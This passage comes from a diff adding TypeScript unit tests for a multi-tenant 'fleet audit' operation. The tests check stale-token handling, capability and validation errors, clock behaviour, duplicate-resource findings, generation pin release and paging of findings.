+    const staleResult = await advanceFleetAudit(
+      harness.baseOptions({ kind: 'continue', token: oldToken }),
+    );
+    expect(staleResult.status).toBe('pending');
+    if (staleResult.status === 'pending') {
+      expect(staleResult.token).toEqual(advanced.token);
+    }
+    expect(harness.opsLog.length).toBe(opsBefore);
+    expect(generationReadCounts(harness.inventoryStore)).toEqual(
+      readsBeforePending,
+    );
+
+    const completed = await driveToTerminal(harness, advanced.token);
+    expect(completed.status).toBe('complete');
+    const opsBeforeStaleComplete = harness.opsLog.length;
+    const readsBeforeComplete = generationReadCounts(harness.inventoryStore);
+    const staleAgainstComplete = await advanceFleetAudit(
+      harness.baseOptions({ kind: 'continue', token: oldToken }),
+    );
+    expect(staleAgainstComplete).toStrictEqual(completed);
+    expect(harness.opsLog.length).toBe(opsBeforeStaleComplete);
+    expect(generationReadCounts(harness.inventoryStore)).toEqual(
+      readsBeforeComplete,
+    );
+
+    // Drive to a failed operation and re-poll with a stale token against it.
+    const failingHarness = buildHarness([alice], inventoryFor([alice]));
+    const failOperationId = uuidFor(10);
+    const failStart = await advanceFleetAudit(
+      failingHarness.baseOptions({
+        kind: 'start',
+        operationId: failOperationId,
+        records: [alice],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    expect(failStart.status).toBe('pending');
+    if (failStart.status !== 'pending') throw new Error('unreachable');
+    const staleFailToken = failStart.token;
+    failingHarness.inventoryStore.unreadableGenerations.add(1);
+    const failed = await driveToTerminal(failingHarness, failStart.token);
+    expect(failed.status).toBe('failed');
+    const opsBeforeStaleFailed = failingHarness.opsLog.length;
+    const readsBeforeFailed = generationReadCounts(
+      failingHarness.inventoryStore,
+    );
+    const staleAgainstFailed = await advanceFleetAudit(
+      failingHarness.baseOptions({ kind: 'continue', token: staleFailToken }),
+    );
+    expect(staleAgainstFailed.status).toBe('failed');
+    expect(failingHarness.opsLog.length).toBe(opsBeforeStaleFailed);
+    expect(generationReadCounts(failingHarness.inventoryStore)).toEqual(
+      readsBeforeFailed,
+    );
+  });
+
+  it('future token error', async () => {
+    const alice = baseRecord('alice');
+    const harness = buildHarness([alice], inventoryFor([alice]));
+    const operationId = uuidFor(11);
+    const started = await advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId,
+        records: [alice],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    expect(started.status).toBe('pending');
+    if (started.status !== 'pending') throw new Error('unreachable');
+    const futureToken = {
+      ...started.token,
+      revision: started.token.revision + 50,
+    };
+    await expect(
+      advanceFleetAudit(
+        harness.baseOptions({ kind: 'continue', token: futureToken }),
+      ),
+    ).rejects.toBeInstanceOf(FleetOperationTokenFutureError);
+  });
+
+  it("a migration operation's token → kind error before any resolver work", async () => {
+    const alice = baseRecord('alice');
+    const harness = buildHarness([alice], inventoryFor([alice]));
+    const migrationOperationId = uuidFor(12);
+    harness.operationStore.operations.set(migrationOperationId, {
+      version: 1,
+      operationId: migrationOperationId,
+      kind: 'migration',
+      state: 'running',
+      progress: {
+        kind: 'migration',
+        revision: 0,
+      } as unknown as FleetOperationRunRecord['progress'],
+      updatedAt: new Date(AUDIT_NOW).toISOString(),
+    });
+    harness.operationStore.heads.set('migration', migrationOperationId);
+    const opsBefore = harness.opsLog.length;
+    await expect(
+      advanceFleetAudit(
+        harness.baseOptions({
+          kind: 'continue',
+          token: { version: 1, operationId: migrationOperationId, revision: 0 },
+        }),
+      ),
+    ).rejects.toBeInstanceOf(FleetOperationTokenKindError);
+    expect(harness.opsLog.length).toBe(opsBefore);
+  });
+
+  it('absent-operation adjudication', async () => {
+    const alice = baseRecord('alice');
+    const harness = buildHarness([alice], inventoryFor([alice]));
+    await expect(
+      advanceFleetAudit(
+        harness.baseOptions({
+          kind: 'continue',
+          token: { version: 1, operationId: uuidFor(13), revision: 0 },
+        }),
+      ),
+    ).rejects.toBeInstanceOf(FleetOperationTokenOperationError);
+  });
+
+  it("'operation-store' capability error with zero work", async () => {
+    const alice = baseRecord('alice');
+    for (const member of [
+      'withAccountOperationLease',
+      'readOperationById',
+      'readOperationRowsPage',
+    ] as const) {
+      const harness = buildHarness([alice], inventoryFor([alice]));
+      const options = harness.baseOptions({
+        kind: 'start',
+        operationId: uuidFor(14),
+        records: [alice],
+        staleAfterMs: STALE_AFTER_MS,
+      });
+      const broken = {
+        ...options,
+        operationStore: withoutMethod(harness.operationStore, member),
+      };
+      await expect(advanceFleetAudit(broken)).rejects.toBeInstanceOf(
+        FleetAuditAdvanceCapabilityError,
+      );
+      await expect(advanceFleetAudit(broken)).rejects.toThrow(
+        'fleet audit advance requires an operation store',
+      );
+      expectZeroHarnessWork(harness);
+    }
+  });
+
+  it("'generation-read' capability error with zero work", async () => {
+    const alice = baseRecord('alice');
+    for (const member of [
+      'readFinalizedGeneration',
+      'readRunByOperation',
+    ] as const) {
+      const harness = buildHarness([alice], inventoryFor([alice]));
+      const options = harness.baseOptions({
+        kind: 'start',
+        operationId: uuidFor(15),
+        records: [alice],
+        staleAfterMs: STALE_AFTER_MS,
+      });
+      const broken = {
+        ...options,
+        inventoryStore: withoutMethod(harness.inventoryStore, member),
+      };
+      await expect(advanceFleetAudit(broken)).rejects.toThrow(
+        'fleet audit advance requires an inventory store that can read finalized generations',
+      );
+      expectZeroHarnessWork(harness);
+    }
+  });
+
+  it("'generation-pin' capability error with zero work", async () => {
+    const alice = baseRecord('alice');
+    for (const member of ['pinGeneration', 'releasePin'] as const) {
+      const harness = buildHarness([alice], inventoryFor([alice]));
+      const options = harness.baseOptions({
+        kind: 'start',
+        operationId: uuidFor(16),
+        records: [alice],
+        staleAfterMs: STALE_AFTER_MS,
+      });
+      const broken = {
+        ...options,
+        inventoryStore: withoutMethod(harness.inventoryStore, member),
+      };
+      await expect(advanceFleetAudit(broken)).rejects.toThrow(
+        'fleet audit advance requires an inventory store that can pin finalized generations',
+      );
+      expectZeroHarnessWork(harness);
+    }
+  });
+
+  it('the legacy staleAfterMs refusal message', async () => {
+    const alice = baseRecord('alice');
+    const harness = buildHarness([alice], inventoryFor([alice]));
+    const attempt = advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId: uuidFor(17),
+        records: [alice],
+        staleAfterMs: 0,
+      }),
+    );
+    await expect(attempt).rejects.toBeInstanceOf(Error);
+    await expect(attempt).rejects.toHaveProperty(
+      'message',
+      'staleAfterMs must be a positive safe integer',
+    );
+  });
+
+  it('item-bound refusal at 10,001', async () => {
+    const many = Array.from({ length: 10_001 }, (_, i) =>
+      baseRecord(`tenant${i}`),
+    );
+    const harness = buildHarness([], emptyInventory());
+    const attempt = advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId: uuidFor(18),
+        records: many,
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    await expect(attempt).rejects.toBeInstanceOf(Error);
+    await expect(attempt).rejects.toHaveProperty(
+      'message',
+      `fleet audit start accepts at most ${FLEET_OPERATION_ITEM_BOUND} records`,
+    );
+  });
+
+  it('intake byte-bound refusal at start', async () => {
+    const padding = Object.fromEntries(
+      Array.from({ length: 21 }, (_, i) => [`padding${i}`, 'x'.repeat(4_000)]),
+    );
+    const many = Array.from({ length: 200 }, (_, i) =>
+      Object.assign(baseRecord(`tenant${i}`), { padding }),
+    );
+    // This fixture is ASCII, so string lengths equal UTF-8 byte lengths.
+    const serializedLengths = many.map(
+      (record) => JSON.stringify(record).length,
+    );
+    expect(
+      serializedLengths.reduce((sum, length) => sum + length, 0),
+    ).toBeGreaterThan(FLEET_OPERATION_INTAKE_BYTE_BOUND);
+    expect(Math.max(...serializedLengths)).toBeLessThan(
+      FLEET_OPERATION_RECORD_ROW_BYTE_BOUND,
+    );
+    const harness = buildHarness([], emptyInventory());
+    const attempt = advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId: uuidFor(19),
+        records: many,
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    await expect(attempt).rejects.toBeInstanceOf(Error);
+    await expect(attempt).rejects.toHaveProperty(
+      'message',
+      'fleet audit start canonical intake exceeds the intake byte bound',
+    );
+  });
+
+  it("'operationId' validation refusal at start", async () => {
+    const alice = baseRecord('alice');
+    const harness = buildHarness([alice], inventoryFor([alice]));
+    const attempt = advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId: 'not-a-uuid',
+        records: [alice],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    await expect(attempt).rejects.toBeInstanceOf(Error);
+    await expect(attempt).rejects.toHaveProperty(
+      'message',
+      'operationId must be a lowercase UUIDv4',
+    );
+  });
+
+  it('the per-record chunk performs exactly one inspect + at most one re-arm (instrumented)', async () => {
+    const alice = baseRecord('alice');
+    const bob = baseRecord('bob');
+    const harness = buildHarness([alice, bob], inventoryFor([alice, bob]), {
+      auditClock: () => AUDIT_NOW,
+    });
+    harness.liveByTenant.set(
+      'alice',
+      cleanLiveDeployment(alice, { maintenance: UNARMED_MAINTENANCE }),
+    );
+    const operationId = uuidFor(20);
+    const started = await advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId,
+        records: [alice, bob],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    expect(started.status).toBe('pending');
+    if (started.status !== 'pending') throw new Error('unreachable');
+    const atPerRecord = await driveToStage(
+      harness,
+      started.token,
+      'per-record',
+    );
+    let token = atPerRecord.token;
+    for (const [tenant, expectedRearmCalls] of [
+      ['alice', 1],
+      ['bob', 0],
+    ] as const) {
+      const opsBefore = harness.opsLog.length;
+      const result = await advanceFleetAudit(
+        harness.baseOptions({ kind: 'continue', token }),
+      );
+      if (result.status !== 'pending') throw new Error('unexpected terminal');
+      token = result.token;
+      const callOps = harness.opsLog.slice(opsBefore);
+      expect(callOps.filter((op) => op === 'resolver:backendFor')).toHaveLength(
+        1,
+      );
+      expect(callOps.filter((op) => op === 'resolver:specFor')).toHaveLength(1);
+      expect(
+        callOps.filter((op) => op === 'resolver:maintenanceSecretFor'),
+      ).toHaveLength(1);
+      expect(callOps.filter((op) => op.startsWith('inspect:'))).toEqual([
+        `inspect:${tenant}`,
+      ]);
+      expect(callOps.filter((op) => op === 'ensureMaintenance')).toHaveLength(
+        expectedRearmCalls,
+      );
+    }
+  });
+
+  it('two-clock proof: staleness uses frozen auditTimeMs; a first-time authorizedAt uses the call-time authorityClock', async () => {
+    const stale = baseRecord('stalemaint', {
+      updatedAt: FRESH_UPDATED_AT,
+      phase: 'worker-deployed',
+    });
+    const authority = baseRecord('authorityclock');
+    const inventory = inventoryFor([stale, authority]);
+    const laterClock = AUDIT_NOW + 5 * STALE_AFTER_MS;
+    let clock = AUDIT_NOW;
+    let authorityClockCalls = 0;
+    const harness = buildHarness([stale, authority], inventory, {
+      auditClock: () => AUDIT_NOW,
+      authorityClock: () => {
+        authorityClockCalls += 1;
+        return clock;
+      },
+    });
+    harness.liveByTenant.set(
+      'authorityclock',
+      cleanLiveDeployment(authority, { maintenance: UNARMED_MAINTENANCE }),
+    );
+    const operationId = uuidFor(21);
+    const started = await advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId,
+        records: [stale, authority],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    expect(started.status).toBe('pending');
+    if (started.status !== 'pending') throw new Error('unreachable');
+    expect(authorityClockCalls).toBe(0);
+    clock = laterClock;
+    const atPerRecord = await driveToStage(
+      harness,
+      started.token,
+      'per-record',
+    );
+    // `authorityClockCalls` only ever increments, so a zero once the global
+    // stages are behind us covers every call `driveToStage` just made, not
+    // only the last of them.
+    expect(authorityClockCalls).toBe(0);
+    const staleRecord = await advanceFleetAudit(
+      harness.baseOptions({ kind: 'continue', token: atPerRecord.token }),
+    );
+    expect(authorityClockCalls).toBe(0);
+    if (staleRecord.status !== 'pending')
+      throw new Error('unexpected terminal');
+    const authorityRecord = await advanceFleetAudit(
+      harness.baseOptions({ kind: 'continue', token: staleRecord.token }),
+    );
+    expect(authorityClockCalls).toBe(1);
+    if (authorityRecord.status !== 'pending')
+      throw new Error('unexpected terminal');
+    await driveToTerminal(harness, authorityRecord.token);
+    expect(authorityClockCalls).toBe(1);
+    const persisted =
+      await harness.operationStore.readOperationById(operationId);
+    expect(fleetAuditProgressFromUnknown(persisted?.progress).auditTimeMs).toBe(
+      AUDIT_NOW,
+    );
+    const putRecord = harness.fleetStore.records.get(
+      'authorityclock:production',
+    );
+    expect(putRecord?.invocationAuthority?.authorizedAt).toBe(
+      new Date(laterClock).toISOString(),
+    );
+    const page = await readFleetAuditFindingsPage(harness.operationStore, {
+      operationId,
+      limit: 100,
+    });
+    expect(
+      page.findings.some(
+        (finding) => finding.kind === 'incomplete-provisioning',
+      ),
+    ).toBe(false);
+
+    // Default Date.now proven by omission.
+    const defaultHarness = buildHarness([authority], inventoryFor([authority]));
+    defaultHarness.liveByTenant.set(
+      'authorityclock',
+      cleanLiveDeployment(authority, { maintenance: UNARMED_MAINTENANCE }),
+    );
+    const before = Date.now();
+    await startAndDrive(defaultHarness, uuidFor(22), [authority]);
+    const after = Date.now();
+    const authorizedAt = Date.parse(
+      defaultHarness.fleetStore.records.get('authorityclock:production')
+        ?.invocationAuthority?.authorizedAt ?? '',
+    );
+    expect(authorizedAt).toBeGreaterThanOrEqual(before);
+    expect(authorizedAt).toBeLessThanOrEqual(after);
+  });
+
+  it('a database owner inspected in call N yields duplicate-database in call N+k', async () => {
+    const shared = 'db-shared-owner';
+    const first = baseRecord('dbowner1', { databaseId: shared });
+    const second = baseRecord('dbowner2', { databaseId: shared });
+    const inventory = inventoryFor([first, second]);
+    const harness = buildHarness([first, second], inventory);
+    harness.liveByTenant.set(
+      'dbowner1',
+      cleanLiveDeployment(first, { databaseId: shared }),
+    );
+    harness.liveByTenant.set(
+      'dbowner2',
+      cleanLiveDeployment(second, { databaseId: shared }),
+    );
+    const operationId = uuidFor(23);
+    await startAndDrive(harness, operationId, [first, second]);
+    const page = await readFleetAuditFindingsPage(harness.operationStore, {
+      operationId,
+      limit: 100,
+    });
+    expect(
+      page.findings.some((finding) => finding.kind === 'duplicate-database'),
+    ).toBe(true);
+  });
+
+  it('namespace owner facts + duplicate suppression across calls', async () => {
+    const shared = 'ns-shared-live';
+    const first = baseRecord('nsowner1', {
+      durableObjectBindings: [
+        { name: 'R', className: 'Runner', namespaceId: 'ns-nsowner1' },
+      ],
+    });
+    const second = baseRecord('nsowner2', {
+      durableObjectBindings: [
+        { name: 'R', className: 'Runner', namespaceId: 'ns-nsowner2' },
+      ],
+    });
+    const inventory = inventoryFor([first, second]);
+    inventory.namespaceIds.push(shared);
+    const harness = buildHarness([first, second], inventory);
+    harness.liveByTenant.set(
+      'nsowner1',
+      cleanLiveDeployment(first, {
+        durableObjectBindings: [
+          { name: 'R', className: 'Runner', namespaceId: shared },
+        ],
+      }),
+    );
+    harness.liveByTenant.set(
+      'nsowner2',
+      cleanLiveDeployment(second, {
+        durableObjectBindings: [
+          { name: 'R', className: 'Runner', namespaceId: shared },
+        ],
+      }),
+    );
+    const operationId = uuidFor(24);
+    await startAndDrive(harness, operationId, [first, second]);
+    const page = await readFleetAuditFindingsPage(harness.operationStore, {
+      operationId,
+      limit: 100,
+    });
+    const duplicates = page.findings.filter(
+      (finding) => finding.kind === 'duplicate-namespace',
+    );
+    expect(duplicates.length).toBe(1);
+  });
+
+  it('the records-derived expected-duplicate seed suppresses a later live duplicate across calls', async () => {
+    const shared = 'ns-expected-and-live-shared';
+    const first = baseRecord('seedowner1', {
+      durableObjectBindings: [
+        { name: 'R', className: 'Runner', namespaceId: shared },
+      ],
+    });
+    const second = baseRecord('seedowner2', {
+      durableObjectBindings: [
+        { name: 'R', className: 'Runner', namespaceId: shared },
+      ],
+    });
+    const inventory = inventoryFor([first, second]);
+    const harness = buildHarness([first, second], inventory);
+    harness.liveByTenant.set(
+      'seedowner1',
+      cleanLiveDeployment(first, {
+        durableObjectBindings: [
+          { name: 'R', className: 'Runner', namespaceId: shared },
+        ],
+      }),
+    );
+    harness.liveByTenant.set(
+      'seedowner2',
+      cleanLiveDeployment(second, {
+        durableObjectBindings: [
+          { name: 'R', className: 'Runner', namespaceId: shared },
+        ],
+      }),
+    );
+    const operationId = uuidFor(25);
+    await startAndDrive(harness, operationId, [first, second]);
+    const page = await readFleetAuditFindingsPage(harness.operationStore, {
+      operationId,
+      limit: 100,
+    });
+    // The expected-side (namespace-expectations) already contributes exactly
+    // one duplicate-namespace finding for `shared`; the live per-record side
+    // must not contribute a second one for the very same id.
+    const duplicates = page.findings.filter(
+      (finding) =>
+        finding.kind === 'duplicate-namespace' &&
+        finding.detail.includes(shared),
+    );
+    expect(duplicates.length).toBe(1);
+  });
+
+  it('the first-owner prefix rule: a shared namespace/bucket claimant does not self-collide across chunks', async () => {
+    const shared = 'ns-prefix-shared';
+    const sharedBucket = 'bucket-prefix-shared';
+    const sharedBucketResource = {
+      name: 'DATA',
+      bucketName: sharedBucket,
+      jurisdiction: 'default' as const,
+      state: 'created' as const,
+      reservationNonce: 'a'.repeat(32),
+      creationDate: '2026-06-01T00:00:00.000Z',
+    };
+    const first = baseRecord('prefixa', {
+      durableObjectBindings: [
+        { name: 'R', className: 'Runner', namespaceId: shared },
+      ],
+      applicationResources: [sharedBucketResource],
+    });
+    const second = baseRecord('prefixb', {
+      durableObjectBindings: [
+        { name: 'R', className: 'Runner', namespaceId: shared },
+      ],
+      applicationResources: [sharedBucketResource],
+    });
+    const inventory = inventoryFor([first, second]);
+    inventory.r2Buckets.push({
+      bucketName: sharedBucket,
+      jurisdiction: 'default',
+      creationDate: sharedBucketResource.creationDate,
+    });
+    const harness = buildHarness([first, second], inventory, {
+      maxItemsPerCall: 1,
+      auditClock: () => AUDIT_NOW,
+      authorityClock: () => AUDIT_NOW,
+    });
+    const drainFindings = await drainWith(harness);
+    const operationId = uuidFor(26);
+    await startAndDrive(harness, operationId, [first, second]);
+    const page = await readFleetAuditFindingsPage(harness.operationStore, {
+      operationId,
+      limit: 100,
+    });
+    const duplicates = page.findings.filter(
+      (finding) => finding.kind === 'duplicate-namespace',
+    );
+    expect(duplicates.length).toBe(1);
+    expect(duplicates[0]?.tenantTag).toBe('prefixb');
+    const bucketDuplicates = page.findings.filter(
+      (finding) =>
+        finding.kind === 'r2-bucket-drift' &&
+        finding.detail ===
+          `R2 bucket '${sharedBucket}' is claimed by more than one deployment`,
+    );
+    const drainBucketDuplicates = drainFindings.filter(
+      (finding) =>
+        finding.kind === 'r2-bucket-drift' &&
+        finding.detail ===
+          `R2 bucket '${sharedBucket}' is claimed by more than one deployment`,
+    );
+    expect(bucketDuplicates).toEqual(drainBucketDuplicates);
+    expect(bucketDuplicates).toHaveLength(1);
+    expect(bucketDuplicates[0]?.tenantTag).toBe('prefixb');
+  });
+
+  it('a pruned/unpinned generation → durable generation-unavailable failure with the pin released', async () => {
+    const alice = baseRecord('alice');
+    const harness = buildHarness([alice], inventoryFor([alice]));
+    const operationId = uuidFor(27);
+    const started = await advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId,
+        records: [alice],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    harness.inventoryStore.unreadableGenerations.add(1);
+    const result = await driveToTerminal(harness, expectPendingToken(started));
+    expect(result.status).toBe('failed');
+    if (result.status === 'failed') {
+      expect(result.failure.reason).toBe('generation-unavailable');
+    }
+    expect(
+      harness.inventoryStore.releasedPins.some(
+        (pin) =>
+          pin.pinnedBy === `fleet-audit:${operationId}` && pin.generation === 1,
+      ),
+    ).toBe(true);
+  });
+
+  it('per-record emission-bound overflow → durable emission-bound-exceeded failure, pin released, head freed', async () => {
+    const SETUP_COUNT = 100;
+    const setupRecords = Array.from({ length: SETUP_COUNT }, (_, i) =>
+      baseRecord(`overflowsetup${i}`, {
+        durableObjectBindings: [
+          { name: 'R', className: 'Runner', namespaceId: `ns-overflow-${i}` },
+        ],
+      }),
+    );
+    // The collision record's own EXPECTED namespace is unique, so the
+    // global namespace-expectations stage stays clean; the collision is
+    // engineered to appear only in its LIVE inspection result, which is what
+    // the per-record stage's single guarded batch must absorb.
+    const collisionRecord = baseRecord('overflowcollision', {
+      durableObjectBindings: [
+        {
+          name: 'OWN',
+          className: 'Runner',
+          namespaceId: 'ns-overflowcollision-own',
+        },
+      ],
+    });
+    const allRecords = [...setupRecords, collisionRecord];
+    const inventory = inventoryFor(allRecords);
+    const harness = buildHarness(allRecords, inventory);
+    for (const record of setupRecords) {
+      harness.liveByTenant.set(record.tenantTag, cleanLiveDeployment(record));
+    }
+    harness.liveByTenant.set(
+      'overflowcollision',
+      cleanLiveDeployment(collisionRecord, {
+        durableObjectBindings: setupRecords.map((_, i) => ({
+          name: `R${i}`,
+          className: 'Runner',
+          namespaceId: `ns-overflow-${i}`,
+        })),
+      }),
+    );
+    const operationId = uuidFor(28);
+    const result = await startAndDrive(harness, operationId, allRecords);
+    expect(result.status).toBe('failed');
+    if (result.status === 'failed') {
+      expect(result.failure.reason).toBe('emission-bound-exceeded');
+      expect(result.failure.itemOrdinal).toBe(SETUP_COUNT);
+    }
+    expect(
+      harness.inventoryStore.releasedPins.some(
+        (pin) => pin.pinnedBy === `fleet-audit:${operationId}`,
+      ),
+    ).toBe(true);
+    expect(harness.operationStore.heads.has('audit')).toBe(false);
+  });
+
+  it('abandonFleetAuditOperation: running → operator-abandoned + pin released; terminal → releases any surviving pin with no state change', async () => {
+    const alice = baseRecord('alice');
+    const harness = buildHarness([alice], inventoryFor([alice]));
+    const operationId = uuidFor(29);
+    const started = await advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId,
+        records: [alice],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    expect(started.status).toBe('pending');
+    await abandonFleetAuditOperation({
+      operationStore: harness.operationStore,
+      inventoryStore: harness.inventoryStore,
+      operationId,
+    });
+    const abandoned =
+      await harness.operationStore.readOperationById(operationId);
+    expect(abandoned?.state).toBe('failed');
+    expect(
+      fleetAuditProgressFromUnknown(abandoned?.progress).failure?.reason,
+    ).toBe('operator-abandoned');
+    expect(
+      harness.inventoryStore.releasedPins.some(
+        (pin) => pin.pinnedBy === `fleet-audit:${operationId}`,
+      ),
+    ).toBe(true);
+
+    // Terminal → releases any surviving pin, no state change.
+    const beforeTerminalAbandonment =
+      await harness.operationStore.readOperationById(operationId);
+    const releasedBefore = harness.inventoryStore.releasedPins.length;
+    await abandonFleetAuditOperation({
+      operationStore: harness.operationStore,
+      inventoryStore: harness.inventoryStore,
+      operationId,
+    });
+    const stillAbandoned =
+      await harness.operationStore.readOperationById(operationId);
+    expect(stillAbandoned).toStrictEqual(beforeTerminalAbandonment);
+    expect(harness.inventoryStore.releasedPins.length).toBe(releasedBefore + 1);
+  });
+
+  it('a start whose store persisted another generation pins the PERSISTED one, so abandonment after a failing revision-1 commit releases the pin that was taken', async () => {
+    const alice = baseRecord('alice');
+    const harness = buildHarness([alice], inventoryFor([alice]));
+    // Generation 2 becomes "latest", so the start resolves 2 while the store
+    // below persists 1. Both are finalized, so both are pinnable.
+    harness.inventoryStore.registerFinalizedGeneration(
+      2,
+      inventoryFor([alice]),
+    );
+    const operationId = uuidFor(61);
+    const owner = `fleet-audit:${operationId}`;
+    const commitFault = new Error('fleet operation store commit failed');
+    const operationStore = divergentCreateStore(harness.operationStore, 1, {
+      member: 'commitProgress',
+      error: commitFault,
+    });
+    const action: FleetAuditAdvanceAction = {
+      kind: 'start',
+      operationId,
+      records: [alice],
+      staleAfterMs: STALE_AFTER_MS,
+    };
+
+    const started = await advanceFleetAudit({
+      ...harness.baseOptions(action),
+      operationStore,
+    });
+    // The revision-1 commit threw, so the start answers from durable state.
+    expect(started.status).toBe('pending');
+    const persistedProgress = fleetAuditProgressFromUnknown(
+      (await harness.operationStore.readOperationById(operationId))?.progress,
+    );
+    expect(persistedProgress.revision).toBe(0);
+    expect(persistedProgress.generation).toBe(1);
+    expect(harness.inventoryStore.pins).toEqual([
+      { generation: 1, pinnedBy: owner },
+    ]);
+
+    await abandonFleetAuditOperation({
+      operationStore,
+      inventoryStore: harness.inventoryStore,
+      operationId,
+    });
+    expect(harness.inventoryStore.releasedPins).toEqual([
+      { generation: 1, pinnedBy: owner },
+    ]);
+    expect(harness.inventoryStore.releasedPins).toEqual(
+      harness.inventoryStore.pins,
+    );
+  });
+
+  it('a start whose store persisted another generation pins the PERSISTED one, so abandonment after a throwing stageRows releases the pin that was taken', async () => {
+    const alice = baseRecord('alice');
+    const harness = buildHarness([alice], inventoryFor([alice]));
+    harness.inventoryStore.registerFinalizedGeneration(
+      2,
+      inventoryFor([alice]),
+    );
+    const operationId = uuidFor(62);
+    const owner = `fleet-audit:${operationId}`;
+    const stageFault = new Error('fleet operation store staging failed');
+    const operationStore = divergentCreateStore(harness.operationStore, 1, {
+      member: 'stageRows',
+      error: stageFault,
+    });
+    const action: FleetAuditAdvanceAction = {
+      kind: 'start',
+      operationId,
+      records: [alice],
+      staleAfterMs: STALE_AFTER_MS,
+    };
+
+    // Staging sits outside the start's catch, so the throw leaves the lease
+    // callback and the pin is already taken.
+    await expect(
+      advanceFleetAudit({ ...harness.baseOptions(action), operationStore }),
+    ).rejects.toBe(stageFault);
+    const persistedProgress = fleetAuditProgressFromUnknown(
+      (await harness.operationStore.readOperationById(operationId))?.progress,
+    );
+    expect(persistedProgress.revision).toBe(0);
+    expect(persistedProgress.generation).toBe(1);
+    expect(harness.inventoryStore.pins).toEqual([
+      { generation: 1, pinnedBy: owner },
+    ]);
+
+    await abandonFleetAuditOperation({
+      operationStore,
+      inventoryStore: harness.inventoryStore,
+      operationId,
+    });
+    expect(harness.inventoryStore.releasedPins).toEqual(
+      harness.inventoryStore.pins,
+    );
+  });
+
+  it('continue on a failed operation returns the failed member with zero provider work', async () => {
+    const alice = baseRecord('alice');
+    const harness = buildHarness([alice], inventoryFor([alice]));
+    const operationId = uuidFor(30);
+    const started = await advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId,
+        records: [alice],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    harness.inventoryStore.unreadableGenerations.add(1);
+    const failed = await driveToTerminal(harness, expectPendingToken(started));
+    expect(failed.status).toBe('failed');
+    if (failed.status !== 'failed') throw new Error('unreachable');
+    const opsBefore = harness.opsLog.length;
+    const again = await advanceFleetAudit(
+      harness.baseOptions({ kind: 'continue', token: failed.token }),
+    );
+    expect(again.status).toBe('failed');
+    expect(harness.opsLog.length).toBe(opsBefore);
+  });
+
+  it('findings page: running refusal; failed operation readable; no inventory-store interaction; a reverse-ordinal page still yields the drain order, and the next-cursor idiom pages the whole set', async () => {
+    const alice = baseRecord('alice');
+    const harness = buildHarness([alice], inventoryFor([alice]));
+    const operationId = uuidFor(31);
+    const started = await advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId,
+        records: [alice],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    await expect(
+      readFleetAuditFindingsPage(harness.operationStore, {
+        operationId,
+        limit: 10,
+      }),
+    ).rejects.toThrow(`fleet audit operation '${operationId}' is not terminal`);
+
+    harness.inventoryStore.unreadableGenerations.add(1);
+    const failed = await driveToTerminal(harness, expectPendingToken(started));
+    expect(failed.status).toBe('failed');
+    const page = await readFleetAuditFindingsPage(harness.operationStore, {
+      operationId,
+      limit: 10,
+    });
+    expect(page.done).toBe(true);
+
+    const control = baseRecord('control28');
+    const missingA = baseRecord('missing28a');
+    const missingB = baseRecord('missing28b');
+    const orderedRecords = [control, missingA, missingB];
+    const orderedInventory = inventoryFor([control]);
+    orderedInventory.deployments.push({
+      backend: 'plain-worker',
+      scriptName: 'ghost-orphan-script28',
+      tenantTag: 'ghost-tenant28',
+      environment: ENVIRONMENT,
+      databaseIds: ['db-ghost28'],
+      durableObjectBindings: [],
+      secretNames: [],
+      plainTextBindings: {},
+      routeHostnames: [],
+      artifactVersion: 'v1',
+      schemaVersion: 1,
+    });
+    const orderedHarness = buildHarness(orderedRecords, orderedInventory, {
+      auditClock: () => AUDIT_NOW + STALE_AFTER_MS + 60_001,
+    });
+    const orderedOperationId = uuidFor(3128);
+    const complete = await startAndDrive(
+      orderedHarness,
+      orderedOperationId,
+      orderedRecords,
+    );
+    expect(complete.status).toBe('complete');
+    const ascending = await readFleetAuditFindingsPage(
+      orderedHarness.operationStore,
+      { operationId: orderedOperationId, limit: 1_000 },
+    );
+    expect(ascending.done).toBe(true);
+    expect(ascending.findings.length).toBe(6);
+    const reversedStore = pageTransformingStore(
+      orderedHarness.operationStore,
+      async (readPage) => {
+        const rowsPage = await readPage();
+        return { ...rowsPage, rows: [...rowsPage.rows].reverse() };
+      },
+    );
+    await expect(
+      readFleetAuditFindingsPage(reversedStore, {
+        operationId: orderedOperationId,
+        limit: 1_000,
+      }),
+    ).resolves.toEqual(ascending);
+    const paged: (typeof ascending.findings)[number][] = [];
+    let afterOrdinal: number | undefined;
+    // A store can report done on a following empty page.
+    const pageCap = ascending.findings.length + 1;
+    let reachedDone = false;
+    for (let page = 0; page < pageCap; page += 1) {
+      const next = await readFleetAuditFindingsPage(reversedStore, {
+        operationId: orderedOperationId,
+        limit: 2,
+        ...(afterOrdinal === undefined ? {} : { afterOrdinal }),
+      });
+      paged.push(...next.findings);
+      if (next.done) {
+        reachedDone = true;
+        break;
+      }
+      afterOrdinal = next.nextAfterOrdinal;
+    }
+    if (!reachedDone) {
+      throw new Error(
+        `findings paging exceeded its ${pageCap}-page cap before the reader reported done`,
+      );
+    }
+    expect(paged).toEqual(ascending.findings);
+  });
+
